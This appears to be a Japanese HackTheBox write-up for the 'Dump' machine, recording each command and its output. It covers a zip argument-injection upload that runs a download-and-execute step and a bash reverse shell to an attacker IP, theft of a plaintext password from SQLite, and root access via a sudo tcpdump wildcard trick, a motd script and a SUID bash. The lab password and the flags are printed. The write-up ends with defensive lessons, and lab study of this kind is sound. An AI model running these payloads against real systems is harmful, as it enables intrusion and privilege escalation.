HackTheBox: Dump — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH) / 80(HTTP)
→
22(SSH) / 80(HTTP)
無認証登録/ログイン
パケットキャプチャ管理アプリ
→
パケットキャプチャ管理アプリ
zip -T/-TT 引数インジェクション
3段階アップロード+GTFOBins
→
3段階アップロード+GTFOBins
www-data シェル取得
→
SQLite平文パスワード
fritz:Passw0rdH4shingIsforNoobZ!
→
fritz:Passw0rdH4shingIsforNoobZ!
SSH fritz
user.txt ✓
→
user.txt ✓
sudo tcpdump ワイルドカード悪用
update-motd.d へ書込
→
update-motd.d へ書込
SUID bash
root.txt ✓
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポート・バージョンスキャン
BASH
nmap -Pn -p22,80 -sV -sC --min-rate 1000 10.129.234.97
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u5 (protocol 2.0) 80/tcp open http Apache httpd 2.4.65 (Debian) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-title: hdmpll? |_http-server-header: Apache/2.4.65 (Debian) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ディレクトリ列挙
BASH
gobuster dir -u http://10.129.234.97/ -w /usr/share/wordlists/dirb/common.txt -q -t 30
RESULT
.htpasswd (Status: 403) [Size: 278] .htaccess (Status: 403) [Size: 278] .hta (Status: 403) [Size: 278] downloads (Status: 301) [Size: 318] [--> http://10.129.234.97/downloads/] index.php (Status: 200) [Size: 954] server-status (Status: 403) [Size: 278]
ℹ️
アプリ自体が参照している
upload.php / download.php / .functions.php
等は一般的なワードリストには含まれず、アプリのHTMLフォーム(action="upload.php"等)を
読むことで判明する。
PHASE 2
Webアプリケーション調査
アプリの正体確認
BASH
curl -s http://10.129.234.97/index.php
RESULT(抜粋)
<h1>How do my packets look like?</h1> <form action="index.php" method="post"> Username / Password / [Login] [Register] </form>
ℹ️
認証不要で誰でもアカウント登録可能。登録後、パケットキャプチャ
(pcap)ファイルのアップロード/ダウンロード/ライブキャプチャ機能が使える。
SQLインジェクションは不成立、アップロードはpcap形式検証があるため直接の
webshellアップロードは不可。
登録・ログイン → ダウンロード機能のエラーメッセージからzipコマンドの存在が判明
BASH
curl -s -c cookies.txt -X POST http://10.129.234.97/index.php \ -d "username=test&password=test&btn=Register" curl -s -c cookies.txt -b cookies.txt -X POST http://10.129.234.97/index.php \ -d "username=test&password=test&btn=Login" curl -s -b cookies.txt http://10.129.234.97/download.php
RESULT
Preparing download... <!-- zip warning: name not matched: * zip error: Nothing to do! (/var/www/html/downloads/<uuid>.zip) -->
🚨
サーバー内部パスとエラーメッセージから、ダウンロード機能がバックエンドで
zipコマンドを直接呼び出していることが判明。
ファイル名による引数インジェクションの確認
NOTE
パストラバーサル文字(/, \)はフィルタされるが、ハイフンで始まる ファイル名はそのまま通る。アップロードファイル名を "-h" にすると、 download.php がそれをそのまま zip コマンドの引数として渡していることが 確認できる(zipのヘルプメニューが返ってくる)。
BASH
curl -s -b cookies.txt -X POST http://10.129.234.97/upload.php \ -F "submit=Upload Capture" \ -F "fileToUpload=@/dev/null;filename=-h;type=application/octet-stream" curl -s -b cookies.txt http://10.129.234.97/download.php
RESULT
Preparing download...
<!--
Copyright (c) 1990-2008 Info-ZIP - Type 'zip "-L"' for software license.
Zip 3.0 (July 5th 2008). Usage:
zip [-options] [-b path] [-t mmddyyyy] [-n suffixes] [zipfile list] [-xi list]
-T test zipfile integrity -X eXclude eXtra file attributes
...
-->
✅
コマンド引数インジェクション確定。 アップロードファイル名が
zipのオプションとしてそのまま解釈される。GTFOBinsの
zip -T(整合性テスト) / -TT <cmd>(テスト時に実行する
カスタムコマンド指定)を組み合わせれば任意コマンド実行が可能になる。
PHASE 3
zip -T/-TT 引数インジェクション → www-data Foothold
1ファイル名に複数引数は失敗 → 3回に分けてアップロード
NOTE
1つのファイル名に "-T -TT cmd" のように複数引数を詰め込もうとすると、 サーバー側のシェルクォート処理で失敗する。継続テストの結果、 複数回のアップロードに引数を分割すれば成功することを確認: 1. test (実データ、zipの対象ファイル) 2. -T (整合性テストフラグ) 3. -TT wget -r <kali>:<port> -nd;bash s.sh;echo (カスタムテストコマンド) download.php 実行時にサーバー側で概ね以下相当のコマンドが組み立てられる: zip '-T' '-TT wget -r <kali>:<port> -nd;bash s.sh;echo' <uuid>.zip 'test' -T により zip 作成後の整合性テストが走り、-TT で指定したコマンドが "unzip -tqq" の代わりに実行される。これが任意コマンド実行の正体。
リバースシェルペイロードの準備とリスナー起動
BASH(Kali側: ペイロードファイル作成)
cat > s.sh << 'EOF' #!/bin/bash bash -i >& /dev/tcp/10.10.15.200/19001 0>&1 EOF
BASH(Kali側: HTTP配信 + リスナー)
python3 -m http.server 19000 & nc -lvnp 19001
3段階アップロード → download.php トリガでRCE発火
BASH
curl -s -b cookies.txt -X POST http://10.129.234.97/upload.php \ -F "submit=Upload Capture" \ -F "fileToUpload=@/dev/null;filename=test;type=application/octet-stream" curl -s -b cookies.txt -X POST http://10.129.234.97/upload.php \ -F "submit=Upload Capture" \ -F "fileToUpload=@/dev/null;filename=-T;type=application/octet-stream" curl -s -b cookies.txt -X POST http://10.129.234.97/upload.php \ -F "submit=Upload Capture" \ -F "fileToUpload=@/dev/null;filename=-TT wget -r 10.10.15.200:19000 -nd;bash s.sh;echo;type=application/octet-stream" # ダウンロード機能をトリガしてコマンド実行 curl -s -b cookies.txt http://10.129.234.97/download.php
RESULT(Kali側 HTTPサーバーログ)
10.129.234.97 - - [GET / HTTP/1.1] 200 - 10.129.234.97 - - [GET /s.sh HTTP/1.1] 200 -
RESULT(nc リスナー側)
listening on [any] 19001 ... connect to [10.10.15.200] from (UNKNOWN) [10.129.234.97] xxxxx bash: cannot set terminal process group (xxx): Inappropriate ioctl for device bash: no job control in this shell www-data@dump:/var/cache/captures/<uuid>$
✅
www-data としてのリバースシェル確立に成功。
wget -r(ディレクトリ一覧の再帰クロール)を使うことで、
アップロードファイル名のパストラバーサル対策(単純な拡張子/文字フィルタ)を
回避しつつ任意のファイル名(s.sh)をサーバーへ取得・実行させている。
PHASE 4
SQLite平文パスワード奪取 → user.txt
sudo権限の確認
BASH
www-data@dump:/var/cache/captures/<uuid>$ sudo -l
RESULT
Matching Defaults entries for www-data on dump:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on dump:
(ALL : ALL) NOPASSWD: /usr/bin/tcpdump -c10
-w/var/cache/captures/*/[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]
-F/var/cache/captures/filter.[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]
ℹ️
一見厳格な制限付きsudoに見えるが、この
sudo -lの出力自体が
後のPhase 5で悪用する攻撃面の全貌を示している(詳細は後述)。
先にユーザー昇格のためシステムの他の場所を調べる。
SQLiteデータベースの発見とクエリ
BASH
www-data@dump:/var/www/database$ sqlite3 database.sqlite3 'select * from users'
RESULT
fritz|Passw0rdH4shingIsforNoobZ!|534ce8b9-6a77-4113-a8c1-66462519bfd1
test|test|<uuid>
(自分で登録したテストユーザーの行も表示される)
🚨
実在のOSユーザー
fritzの平文パスワードがデータベースに
そのまま保存されている。末尾が大文字Zである点に注意
(小文字zだと認証に失敗する)。
SSHログイン & user.txt取得
BASH
ssh fritz@10.129.234.97 # Password: Passw0rdH4shingIsforNoobZ! fritz@dump:~$ id fritz@dump:~$ cat user.txt
RESULT
uid=1001(fritz) gid=1001(fritz) groups=1001(fritz),4(adm) 0876706fe3c46c0b06cf233d0a4fe669
user.txt — fritz
0876706fe3c46c0b06cf233d0a4fe669
ℹ️
fritzがadmグループに所属している点も重要な手掛かり
(/var/log配下のログファイル、特に監査ログが読める)。
PHASE 5
sudo tcpdump のワイルドカード解釈ズレ悪用
直接的な -z コマンド実行はAppArmorでブロックされる
NOTE
GTFOBinsのtcpdumpのエントリでは -z フラグ(ポストローテートコマンド)での
任意コマンド実行が紹介されているが、実際に試すと失敗する:
$ sudo /usr/bin/tcpdump -c10 -w/var/cache/captures/ -ln -i eth0 \
-w/tmp/out.txt -W 1 -G 1 -z $TF -Z root /<uuid> \
-F/var/cache/captures/filter.<uuid>
compress_savefile: execlp(/tmp/tmp.XXXXXX, /tmp/out.txt) failed: Permission denied
BASH(fritzのadmグループ権限で監査ログを確認)
fritz@dump:/var/log/audit$ tail -f audit.log
RESULT
type=AVC msg=audit(...): apparmor="DENIED" operation="exec"
profile="tcpdump" name="/tmp/tmp.XXXXXX" pid=xxxxx comm="tcpdump"
requested_mask="x" denied_mask="x" fsuid=0 ouid=33 OUID="www-data"
⚠️
/etc/apparmor.d/usr.bin.tcpdumpを確認すると、-zで
指定する外部コマンドの実行(ixr)はgzip/bzip2
のみに限定されており、任意コマンドの直接実行経路は塞がれている。
一方、owner @{HOME}/** rwと/**.[pP][cC][aA][pP] rwなど、
特定パターンのファイルへの書込み自体は許可されている。
直接実行ではなく、間接的なファイル書込みの悪用に方針転換する。
sudoersワイルドカードの解釈ズレを突いたファイル書込み
NOTE
sudoersの許可パターンは以下の通り(再掲):
/usr/bin/tcpdump -c10
-w/var/cache/captures/*/<UUID形式>
-F/var/cache/captures/filter.<UUID形式>
sudoによる照合は「コマンドライン全体を1つの文字列」として fnmatch で
行われるため、ワイルドカード(*)部分には改行を含まない任意の文字列が
マッチしてしまう。つまり "captures/" の直後から、末尾のUUIDパターン
直前までの間に、追加の -w フラグを挿入できる:
sudo /usr/bin/tcpdump -c10 -w/var/cache/captures/ \
-w/etc/update-motd.d/<任意のUUID形式ファイル名> -Z fritz \
/<UUID> -F/var/cache/captures/filter.<UUID>
tcpdump自身のオプション解析では、-wが複数回指定された場合
「最後に指定された -w」が実際の書込み先として採用される。
末尾の "/<UUID>" はsudoersパターンが要求する「captures/ 直後の
必須UUID」を帳尻合わせするためのダミー引数で、tcpdumpからはBPF
フィルタ式として解釈されるため実害はない。
BASH
www-data@dump:/var/cache/captures$ echo '' > filter.<uuid> www-data@dump:/var/cache/captures$ sudo /usr/bin/tcpdump -c10 \ -w/var/cache/captures/ \ -w/etc/update-motd.d/11111111-1234-1234-1234-111111111111 \ -Z fritz /<uuid> -F/var/cache/captures/filter.<uuid>
RESULT
tcpdump: listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
10 packets captured
12 packets received by filter
0 packets dropped by kernel
www-data@dump:/var/cache/captures$ ls -la /etc/update-motd.d/11111111-1234-1234-1234-111111111111
-rw-r--r-- 1 fritz fritz 949 ... /etc/update-motd.d/11111111-1234-1234-1234-111111111111
✅
root所有ディレクトリ(
/etc/update-motd.d/)配下に
fritz所有の書込み可能なファイルを作成することに成功。
-Z fritzにより、ファイルを開いた直後にtcpdumpプロセスの
実効ユーザーがfritzへドロップされ、以降の書込み・chown処理がfritz権限で
行われるため、ファイルの所有者がfritzになる。
PHASE 6
update-motd.d 経由の pam_motd 実行 → SUID bash → root.txt
MOTDスクリプトへペイロードを書込む
NOTE
/etc/update-motd.d/ 配下の実行可能ファイルは、SSHログイン時に root権限(pam_motd経由)で自動実行される。先ほどfritz所有にした ファイルへ、自分自身がfritzとして直接書き込める。
BASH
fritz@dump:~$ cat > /etc/update-motd.d/11111111-1234-1234-1234-111111111111 << 'EOF' #!/bin/bash cp /usr/bin/bash /home/fritz/bash && chmod u+s /home/fritz/bash EOF fritz@dump:~$ chmod +x /etc/update-motd.d/11111111-1234-1234-1234-111111111111
再ログインでMOTDスクリプトをroot権限で発火
BASH
ssh -tt fritz@10.129.234.97 exit fritz@dump:~$ ls -la /home/fritz/bash
RESULT
-rwsr-xr-x 1 root root 1234376 ... /home/fritz/bash
✅
SUID root な bash バイナリの作成に成功。 MOTDスクリプトは
SSHの新規セッション確立の都度、root権限で自動実行されるため、確実に
発火させることができる。
root.txt取得
BASH
fritz@dump:~$ /home/fritz/bash -p bash-5.1# id bash-5.1# cat /root/root.txt
RESULT
uid=1001(fritz) gid=1001(fritz) euid=0(root) groups=1001(fritz),4(adm) 9d80ea014aa8bf5dcde45bce1da22cbf
root.txt — root@dump
9d80ea014aa8bf5dcde45bce1da22cbf
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — fritz
0876706fe3c46c0b06cf233d0a4fe669
root.txt — root@dump
9d80ea014aa8bf5dcde45bce1da22cbf
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| コマンド引数インジェクション | download.php (zipコマンド呼出) | リモートコード実行 (www-data) | Critical | アップロードファイル名をzipの引数としてそのまま使用。GTFOBinsの zip -T/-TT で任意コマンド実行 |
| 平文パスワード保存 | SQLiteデータベース (users テーブル) | 実OSユーザーの認証情報漏洩 | High | www-data権限でDBを直接読み取り、fritzの平文パスワードを取得 |
| sudoersワイルドカードの解釈ズレ | /usr/bin/tcpdump (NOPASSWD sudo) | 権限昇格 (root所有ディレクトリへの任意ファイル書込み) | Critical | sudoersの fnmatch と tcpdump自身の「最後の-wを採用」という引数解釈の差異を悪用し、/etc/update-motd.d/ に書込み、pam_motd経由でroot実行させてSUID bash生成 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + gobuster | 22(SSH)/80(HTTP)、カスタムPHPアプリ検出 |
| 2 | Web調査 | 登録/ログイン + エラーメッセージ解析 + -h引数テスト | zipコマンド引数インジェクションの確定 |
| 3 | Foothold | zip -T/-TT (GTFOBins) + wget -r によるパストラバーサル対策回避 | www-data リバースシェル |
| 4 | 横移動 | SQLite直接クエリ | user.txt 取得(fritz) |
| 5 | 権限調査 | sudo -l + AppArmor監査ログ解析 | tcpdump sudoersワイルドカードの悪用可能性を特定 |
| 6 | 権限昇格 | sudo tcpdump 複数-w悪用 + pam_motd | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| アップロードファイル名を検証/サニタイズせずシェルコマンド引数へ渡している | ユーザー制御可能な文字列は絶対にコマンド引数として使わない。やむを得ない場合は -- でオプション終端を明示し、許可文字のホワイトリスト検証を行う。 |
| パスワードをデータベースに平文で保存 | bcrypt/argon2等の適切なハッシュ関数でパスワードを保存する。平文保存は原則として許容されない。 |
| sudoersのワイルドカード(*)がコマンドライン全体を単純文字列照合するため追加フラグの挿入を許してしまう | sudoersルールはできる限り固定文字列で記述し、ワイルドカードの使用は最小限に留める。コマンドラッパースクリプトを用意し、引数を厳格に検証してから実際のバイナリを呼び出す設計にする。 |
| update-motd.d配下のスクリプトが一般ユーザーの書込み可能なファイルになり得る | root権限で自動実行されるファイル・ディレクトリへの書込み権限管理を徹底し、sudo経由で作成されうるファイルの所有者・パーミッションを定期的に監査する。 |

